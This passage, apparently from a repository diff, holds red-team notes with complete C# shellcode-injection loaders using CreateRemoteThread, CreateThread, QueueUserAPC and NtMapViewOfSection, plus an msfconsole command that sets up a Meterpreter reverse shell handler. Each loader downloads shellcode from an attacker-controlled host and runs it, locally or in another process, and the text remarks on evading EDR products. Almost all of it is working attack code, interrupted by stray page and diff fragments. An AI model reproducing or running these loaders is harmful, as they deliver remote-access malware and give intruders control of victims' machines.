lo UNKNOWN 127.0.0.1/8 ::1/128
|
||||
eth0 UP 10.10.1.128/24 fe80::20c:29ff:fede:1765/64
|
||||
```
|
||||
|
||||
Host on python server and start msfconsole:
|
||||
|
||||
```
|
||||
┌──(kali㉿kali)-[~/Desktop]
|
||||
└─$ msfconsole -x "use multi/handler;set payload windows/x64/meterpreter_reverse_tcp; set LHOST 10.10.1.128; set LPORT 4444; run"an use this or Vanara:
|
||||
```
|
||||
|
||||
Each of these techniques make use of a `Win32.cs` class file that import the types, delegates, and structs needed to call the Win32 API directly. All relevant code for performing the injection itself will be in the main class file within each notebook (i.e. `CreateThread.cs`). You can use them or another P/Invoke method (I recommend Vanara)
|
||||
|
||||
[https://github.com/dahall/Vanara](https://github.com/dahall/Vanara)
|
||||
@@ -0,0 +1,143 @@
|
||||
# CreateRemoteThread
|
||||
|
||||
The classic. Pretty OPSEC unsafe, all things considered. Opens a remote process, maps shellcode bytes into a section of memory (RWX mem), and creates a thread in the remote process to execute.
|
||||
|
||||
`CreateRemoteThread.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Net.Http;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace CreateRemoteThread
|
||||
{
|
||||
internal class Program
|
||||
{
|
||||
static async Task Main(string[] args)
|
||||
{
|
||||
byte[] shellcode;
|
||||
|
||||
using (var client = new HttpClient())
|
||||
shellcode = await client.GetByteArrayAsync("http://10.10.1.128/shellcode.bin");
|
||||
|
||||
// Open handle to process
|
||||
var process = Process.GetProcessById(8712);
|
||||
|
||||
// Allocate a region of memory
|
||||
var baseAddress = Win32.VirtualAllocEx(
|
||||
process.Handle,
|
||||
IntPtr.Zero,
|
||||
(uint)shellcode.Length,
|
||||
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
|
||||
Win32.MemoryProtection.ReadWrite);
|
||||
|
||||
// Write shellcode into region
|
||||
Win32.WriteProcessMemory(
|
||||
process.Handle,
|
||||
baseAddress,
|
||||
shellcode,
|
||||
shellcode.Length,
|
||||
out _);
|
||||
|
||||
// Flip memory region to RX
|
||||
Win32.VirtualProtectEx(
|
||||
process.Handle,
|
||||
baseAddress,
|
||||
(uint)shellcode.Length,
|
||||
Win32.MemoryProtection.ExecuteRead,
|
||||
out _);
|
||||
|
||||
// Create the new thread
|
||||
Win32.CreateRemoteThread(
|
||||
process.Handle,
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
baseAddress,
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
out _);
|
||||
|
||||
// Shellcode is runing in a remote process
|
||||
// no need to stop this process from closing
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`Win32.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace CreateRemoteThread
|
||||
{
|
||||
internal class Win32
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr VirtualAllocEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
AllocationType flAllocationType,
|
||||
MemoryProtection flProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool WriteProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
byte[] lpBuffer,
|
||||
int nSize,
|
||||
out IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool VirtualProtectEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
MemoryProtection flNewProtect,
|
||||
out MemoryProtection lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr CreateRemoteThread(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpThreadAttributes,
|
||||
uint dwStackSize,
|
||||
IntPtr lpStartAddress,
|
||||
IntPtr lpParameter,
|
||||
uint dwCreationFlags,
|
||||
out IntPtr lpThreadId);
|
||||
|
||||
[Flags]
|
||||
public enum AllocationType
|
||||
{
|
||||
Commit = 0x1000,
|
||||
Reserve = 0x2000,
|
||||
Decommit = 0x4000,
|
||||
Release = 0x8000,
|
||||
Reset = 0x80000,
|
||||
Physical = 0x400000,
|
||||
TopDown = 0x100000,
|
||||
WriteWatch = 0x200000,
|
||||
LargePages = 0x20000000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum MemoryProtection
|
||||
{
|
||||
Execute = 0x10,
|
||||
ExecuteRead = 0x20,
|
||||
ExecuteReadWrite = 0x40,
|
||||
ExecuteWriteCopy = 0x80,
|
||||
NoAccess = 0x01,
|
||||
ReadOnly = 0x02,
|
||||
ReadWrite = 0x04,
|
||||
WriteCopy = 0x08,
|
||||
GuardModifierflag = 0x100,
|
||||
NoCacheModifierflag = 0x200,
|
||||
WriteCombineModifierflag = 0x400
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,130 @@
|
||||
# CreateThread
|
||||
|
||||
Most simple injection technique, performs a self injection into the current running process. Shellcode is executed inline.
|
||||
|
||||
`program.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net.Http;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace CreateThread
|
||||
{
|
||||
internal class Program
|
||||
{
|
||||
static async Task Main(string[] args)
|
||||
{
|
||||
byte[] shellcode;
|
||||
var addr = "http://10.10.1.128/shellcode.bin";
|
||||
|
||||
using (var client = new HttpClient())
|
||||
{
|
||||
shellcode = await client.GetByteArrayAsync(addr);
|
||||
}
|
||||
|
||||
// allocate base addr as RW
|
||||
var baseAddr = Win32.VirtualAlloc(
|
||||
IntPtr.Zero,
|
||||
(uint)shellcode.Length,
|
||||
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
|
||||
Win32.MemoryProtection.ReadWrite);
|
||||
|
||||
// copy shellcode into mem
|
||||
Marshal.Copy(shellcode, 0, baseAddr, shellcode.Length);
|
||||
|
||||
// Flip mem protections from RW to RX with VirtualProtect. Dispose of the call with `out _`
|
||||
Win32.VirtualProtect(
|
||||
baseAddr,
|
||||
(uint)shellcode.Length,
|
||||
Win32.MemoryProtection.ExecuteRead,
|
||||
out _);
|
||||
|
||||
// Call CreateThread
|
||||
var hThread = Win32.CreateThread(
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
baseAddr,
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
out _);
|
||||
|
||||
// CreateThread is not a blocking call, so we wait on the thread indefinitely with WaitForSingleObject. This blocks for as long as the thread is running
|
||||
Win32.WaitForSingleObject(hThread, 0xFFFFFFFF);
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`Win32.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace CreateThread
|
||||
{
|
||||
internal class Win32
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr VirtualAlloc(
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
AllocationType flAllocationType,
|
||||
MemoryProtection flProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr CreateThread(
|
||||
IntPtr lpThreadAttributes,
|
||||
uint dwStackSize,
|
||||
IntPtr lpStartAddress,
|
||||
IntPtr lpParameter,
|
||||
uint dwCreationFlags,
|
||||
out IntPtr lpThreadId);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool VirtualProtect(
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
MemoryProtection flNewProtect,
|
||||
out MemoryProtection lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint WaitForSingleObject(
|
||||
IntPtr hHandle,
|
||||
uint dwMilliseconds);
|
||||
|
||||
[Flags]
|
||||
public enum AllocationType
|
||||
{
|
||||
Commit = 0x1000,
|
||||
Reserve = 0x2000,
|
||||
Decommit = 0x4000,
|
||||
Release = 0x8000,
|
||||
Reset = 0x80000,
|
||||
Physical = 0x400000,
|
||||
TopDown = 0x100000,
|
||||
WriteWatch = 0x200000,
|
||||
LargePages = 0x20000000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum MemoryProtection
|
||||
{
|
||||
Execute = 0x10,
|
||||
ExecuteRead = 0x20,
|
||||
ExecuteReadWrite = 0x40,
|
||||
ExecuteWriteCopy = 0x80,
|
||||
NoAccess = 0x01,
|
||||
ReadOnly = 0x02,
|
||||
ReadWrite = 0x04,
|
||||
WriteCopy = 0x08,
|
||||
GuardModifierflag = 0x100,
|
||||
NoCacheModifierflag = 0x200,
|
||||
WriteCombineModifierflag = 0x400
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,230 @@
|
||||
# QueueUserAPC
|
||||
|
||||
Used alternatively to CRT and tends to be less scrutinized (Falcon still smacks it down tho)
|
||||
|
||||
1. Spawn a process in a suspended state, queue the APC on the primary thread and resume.
|
||||
|
||||
or
|
||||
|
||||
1. Enumerate threads of an existing process and queue the APC on one of them.
|
||||
1. Wait for that thread to enter an alerted state, or
|
||||
2. Force that thread to enter an alerted state.
|
||||
|
||||
First option is more straight forward.
|
||||
|
||||
`QueueUserAPC.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Net.Http;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace QueueUserAPC
|
||||
{
|
||||
internal class Program
|
||||
{
|
||||
static async Task Main(string[] args)
|
||||
{
|
||||
var si = new Win32.STARTUPINFO();
|
||||
si.cb = Marshal.SizeOf(si);
|
||||
|
||||
var pa = new Win32.SECURITY_ATTRIBUTES();
|
||||
pa.nLength = Marshal.SizeOf(pa);
|
||||
|
||||
var ta = new Win32.SECURITY_ATTRIBUTES();
|
||||
ta.nLength = Marshal.SizeOf(ta);
|
||||
|
||||
var pi = new Win32.PROCESS_INFORMATION();
|
||||
|
||||
var success = Win32.CreateProcessW(
|
||||
"C:\\Windows\\System32\\calc.exe",
|
||||
null,
|
||||
ref ta,
|
||||
ref pa,
|
||||
false,
|
||||
0x00000004, // CREATE_SUSPENDED
|
||||
IntPtr.Zero,
|
||||
"C:\\Windows\\System32",
|
||||
ref si,
|
||||
out pi);
|
||||
|
||||
// If we failed to spawn the process, just bail
|
||||
if (!success)
|
||||
throw new Win32Exception(Marshal.GetLastWin32Error());
|
||||
|
||||
// gather shellcode
|
||||
|
||||
byte[] shellcode;
|
||||
var addr = "http://10.10.1.128/shellcode.bin";
|
||||
|
||||
using (var client = new HttpClient())
|
||||
shellcode = await client.GetByteArrayAsync(addr);
|
||||
|
||||
// Allocate mem
|
||||
var baseAddress = Win32.VirtualAllocEx(
|
||||
pi.hProcess,
|
||||
IntPtr.Zero,
|
||||
(uint)shellcode.Length,
|
||||
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
|
||||
Win32.MemoryProtection.ReadWrite);
|
||||
|
||||
// Write shellcode, discard
|
||||
Win32.WriteProcessMemory(
|
||||
pi.hProcess,
|
||||
baseAddress,
|
||||
shellcode,
|
||||
shellcode.Length,
|
||||
out _);
|
||||
|
||||
// Flip mem protection, discard
|
||||
Win32.VirtualProtectEx(
|
||||
pi.hProcess,
|
||||
baseAddress,
|
||||
(uint)shellcode.Length,
|
||||
Win32.MemoryProtection.ExecuteRead,
|
||||
out _);
|
||||
|
||||
// Queue the APC, discard
|
||||
Win32.QueueUserAPC(
|
||||
baseAddress,
|
||||
pi.hThread,
|
||||
0);
|
||||
|
||||
// Resume thread
|
||||
Win32.ResumeThread(pi.hThread);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`Win32.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace QueueUserAPC
|
||||
{
|
||||
internal class Win32
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
public IntPtr lpReserved;
|
||||
public IntPtr lpDesktop;
|
||||
public IntPtr lpTitle;
|
||||
public int dwX;
|
||||
public int dwY;
|
||||
public int dwXSize;
|
||||
public int dwYSize;
|
||||
public int dwXCountChars;
|
||||
public int dwYCountChars;
|
||||
public int dwFillAttribute;
|
||||
public int dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
public int nLength;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public bool bInheritHandle;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern bool CreateProcessW(
|
||||
string lpApplicationName,
|
||||
string lpCommandLine,
|
||||
ref SECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
ref SECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
bool bInheritHandles,
|
||||
uint dwCreationFlags,
|
||||
IntPtr lpEnvironment,
|
||||
string lpCurrentDirectory,
|
||||
ref STARTUPINFO lpStartupInfo,
|
||||
out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr VirtualAllocEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
AllocationType flAllocationType,
|
||||
MemoryProtection flProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool WriteProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
byte[] lpBuffer,
|
||||
int nSize,
|
||||
out IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool VirtualProtectEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
MemoryProtection flNewProtect,
|
||||
out MemoryProtection lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint QueueUserAPC(
|
||||
IntPtr pfnAPC,
|
||||
IntPtr hThread,
|
||||
uint dwData);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint ResumeThread(
|
||||
IntPtr hThread);
|
||||
|
||||
[Flags]
|
||||
public enum AllocationType
|
||||
{
|
||||
Commit = 0x1000,
|
||||
Reserve = 0x2000,
|
||||
Decommit = 0x4000,
|
||||
Release = 0x8000,
|
||||
Reset = 0x80000,
|
||||
Physical = 0x400000,
|
||||
TopDown = 0x100000,
|
||||
WriteWatch = 0x200000,
|
||||
LargePages = 0x20000000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum MemoryProtection
|
||||
{
|
||||
Execute = 0x10,
|
||||
ExecuteRead = 0x20,
|
||||
ExecuteReadWrite = 0x40,
|
||||
ExecuteWriteCopy = 0x80,
|
||||
NoAccess = 0x01,
|
||||
ReadOnly = 0x02,
|
||||
ReadWrite = 0x04,
|
||||
WriteCopy = 0x08,
|
||||
GuardModifierflag = 0x100,
|
||||
NoCacheModifierflag = 0x200,
|
||||
WriteCombineModifierflag = 0x400
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,140 @@
|
||||
# NtMapViewOfSection
|
||||
|
||||
Nt*Section APIs are undocumented but can be powerful alternatives to VirtualAllocEx, WriteProcMem and VirtProtectEx
|
||||
|
||||
[NTAPI Undocumented Functions](http://undocumented.ntinternals.net/index.html)
|
||||
|
||||
`program.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Net.Http;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace NtMapViewOfSection
|
||||
{
|
||||
internal class Program
|
||||
{
|
||||
static async Task Main(string[] args)
|
||||
{
|
||||
// as before, fetch shellcode
|
||||
|
||||
byte[] shellcode;
|
||||
var addr = "http://10.10.1.128/shellcode.bin";
|
||||
|
||||
using (var client = new HttpClient())
|
||||
shellcode = await client.GetByteArrayAsync(addr);
|
||||
|
||||
// create section within our current process as large as the shellcode size
|
||||
var hSection = IntPtr.Zero;
|
||||
var maxSize = (ulong)shellcode.Length;
|
||||
Native.NtCreateSection(
|
||||
ref hSection,
|
||||
0x10000000, // SECTION_ALL_ACCESS
|
||||
IntPtr.Zero,
|
||||
ref maxSize,
|
||||
0x40, // PAGE_EXECUTE_READWRITE
|
||||
0x08000000,
|
||||
IntPtr.Zero);
|
||||
|
||||
// Map the view o that section into the memory of the current proc as RW
|
||||
Native.NtMapViewOfSection(
|
||||
hSection,
|
||||
(IntPtr)(-1), // targets the current process
|
||||
out var localBaseAddress,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
out var _,
|
||||
2, // ViewUnpat (created view will not be inherited by child process
|
||||
0,
|
||||
0x04); // PAGE_READWRITE
|
||||
|
||||
// Copy shellcode into memory of our own process
|
||||
Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);
|
||||
|
||||
// Get reference to target process (do this with the args IRL)
|
||||
var target = Process.GetProcessById(7064);
|
||||
|
||||
// Map this region into the target process as RX
|
||||
Native.NtMapViewOfSection(
|
||||
hSection,
|
||||
target.Handle,
|
||||
out var remoteBaseAddress,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
out _,
|
||||
2,
|
||||
0,
|
||||
0x20); // PAGE_EXECUTE_READWRITE
|
||||
|
||||
// Shellcode is now in the target process so execute it with a new thread
|
||||
Native.NtCreateThreadEx(
|
||||
out _,
|
||||
0x001F0000, // STANDARD_RIGHTS_ALL
|
||||
IntPtr.Zero,
|
||||
target.Handle,
|
||||
remoteBaseAddress,
|
||||
IntPtr.Zero,
|
||||
false,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
IntPtr.Zero);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`Native.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace NtMapViewOfSection
|
||||
{
|
||||
internal class Native
|
||||
{
|
||||
[DllImport("ntdll.dll")]
|
||||
public static extern uint NtCreateSection(
|
||||
ref IntPtr SectionHandle,
|
||||
uint DesiredAccess,
|
||||
IntPtr ObjectAttributes,
|
||||
ref ulong MaximumSize,
|
||||
uint SectionPageProtection,
|
||||
uint AllocationAttributes,
|
||||
IntPtr FileHandle);
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
public static extern uint NtMapViewOfSection(
|
||||
IntPtr SectionHandle,
|
||||
IntPtr ProcessHandle,
|
||||
out IntPtr BaseAddress,
|
||||
IntPtr ZeroBits,
|
||||
IntPtr CommitSize,
|
||||
IntPtr SectionOffset,
|
||||
out ulong ViewSize,
|
||||
uint InheritDisposition,
|
||||
uint AllocationType,
|
||||
uint Win32Protect);
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
public static extern uint NtCreateThreadEx(
|
||||
out IntPtr threadHandle,
|
||||
uint desiredAccess,
|
||||
IntPtr objectAttributes,
|
||||
IntPtr processHandle,
|
||||
IntPtr startAddress,
|
||||
IntPtr parameter,
|
||||
bool createSuspended,
|
||||
int stackZeroBits,
|
||||
int sizeOfStack,
|
||||
int maximumStackSize,
|
||||
IntPtr attributeList);
|
||||
}
|
||||
}
|
||||
```
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user